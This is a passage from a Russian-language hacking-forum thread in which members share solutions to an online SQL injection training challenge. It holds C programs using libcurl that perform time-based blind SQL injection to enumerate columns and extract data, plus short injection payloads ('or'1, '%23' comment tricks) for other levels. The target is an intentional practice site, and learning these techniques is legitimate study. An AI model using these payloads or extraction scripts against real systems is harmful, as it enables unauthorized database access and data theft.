      {
         char url[320], *ret, state;
         int i;
         double time[50];
      
         int colcount=0;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
           if( ((double)end_time - (double)start_time)>2500.0)
           {
             printf("we have %d columns\n",colcount);
             break;
           }
           else
             printf("we have mote than %d columns\n",colcount);
           ++colcount;
         }
      
         system("pause");
      }
      

      Code:
      select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Основано на запросе выше
      Тут 5 столбцов. Теперь их имена.
      Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.
      У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      char findChar(int charNum,int columnNum)
      {
         char url[420], *ret;
      
         int cmax=255;
      
         while(1)
         {
           if(cmax==0)return 0;
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27+and+ordinal_position%%3D%d+and+ascii%%28substring%%28column_name%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",columnNum,charNum,cmax);//>
           ret=NULL;
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
      
           if( ((double)end_time - (double)start_time)<2500.0)   cmax/=2; else break;
         }
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27+and+ordinal_position%%3D%d+and+ascii%%28substring%%28column_name%%2C%d%%2C1%%29%%29%%3D%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",columnNum,charNum,cmax);//=
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
      
           free(ret);
      
           if( ((double)end_time - (double)start_time)>2500.0)   return cmax; else ++cmax;
      
         }
      
         return -1;
      }
      
      void main()
      {
      
         int i,i1;
         char curChar;
      
         for(i=0;i<5;++i)
         {
           i1=0;
           while(1)
           {
             ++i1;
             curChar=findChar(i1,i+1);
             if(curChar!=0)
               printf("%c",curChar);
             else
             {
               printf("\n");
               break;
             }
           }
         }
         system("pause");
      }
      

      Code:
      select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Основано на запросе выше.

      Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).
      • first
      • second
      • morkovka
      • wtf
      • genius
      Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      char findChar(int charNum,char *tableName)
      {
         char url[420], *ret;
      
         int cmax=255;
      
         while(1)
         {
           if(cmax==0)return 0;
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne+where+ascii%%28substring%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",tableName,charNum,cmax);//>
           ret=NULL;
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
      
           if( ((double)end_time - (double)start_time)<2500.0)   cmax/=2; else break;
         }
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne+where+ascii%%28substring%%28%s%%2C%d%%2C1%%29%%29%%3D%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",tableName,charNum,cmax);//=
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
      
           free(ret);
      
           if( ((double)end_time - (double)start_time)>2500.0)   return cmax; else ++cmax;
      
         }
      
         return -1;
      }
      
      void main()
      {
      
         int i,i1;
         char curChar;
         char *tableList[]={"first","second","morkovka","wtf","genius"};
      
         for(i=0;i<5;++i)
         {
           i1=0;
           while(1)
           {
             ++i1;
             curChar=findChar(i1,tableList[i]);
             if(curChar!=0)
               printf("%c",curChar);
             else
             {
               printf("\n");
               break;
             }
           }
         }
         system("pause");
      }
      

      Code:
      select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Основано на запросе выше.

      Содержимое базы следующее:
      • 55
      • 44
      • wantamorkovka
      • wtf?
      • yes
      Что из них ответ - догадайтесь сами. Квест пройден.
     
    b3, M_script, psihoz26 and 1 other person like this.
  6. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Сам прошёл, да ?
     
  7. frank

    frank Member

    Joined:
    8 May 2015
    Messages:
    200
    Likes Received:
    96
    Reputations:
    28
    Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе :)

    http://habrahabr.ru/post/253885/#first_unread
     
  8. Dude

    Dude Member

    Joined:
    25 Jun 2015
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    Сам.
    Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.
     
  9. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Молодец, хорошо крутишь sql
     
  10. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Более короткое (и я считаю что более интересное) решение второго задания:
    Code:
    https://alexbers.com/sql/qnbutn2.php?text='or'1
    результатом станет вывод всей таблицы.

    аналогично третий
    Code:
    https://alexbers.com/sql/sdjjy3.php?text='or(1)%23

    девятый быстро проходится сложив в запросе всё и подобрав сразу сумму
    Code:
    https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+users+where+id>=20+and+id<=30)>=2225
    Подбирал ручками и вышло 14 запросов:
    100 +
    1000 +
    2000 +
    3000 -
    2500 -
    2250 -
    2125 +
    2187 +
    2218 +
    2233 -
    2226 -
    2223 +
    2224 +
    2225 =

    При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.

    update//
    глянул на хабре прохождение 9 и ушел читать документацию :)
     
    #30 psihoz26, 30 Jun 2015
    Last edited: 30 Jun 2015
  11. Farik

    Farik New Member

    Joined:
    12 Jun 2015
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    На 5 остановился и пойду как я спать :)
     
  12. frank

    frank Member

    Joined:
    8 May 2015
    Messages:
    200
    Likes Received:
    96
    Reputations:
    28
    Сам так же сделал когда увидел в два захода то :)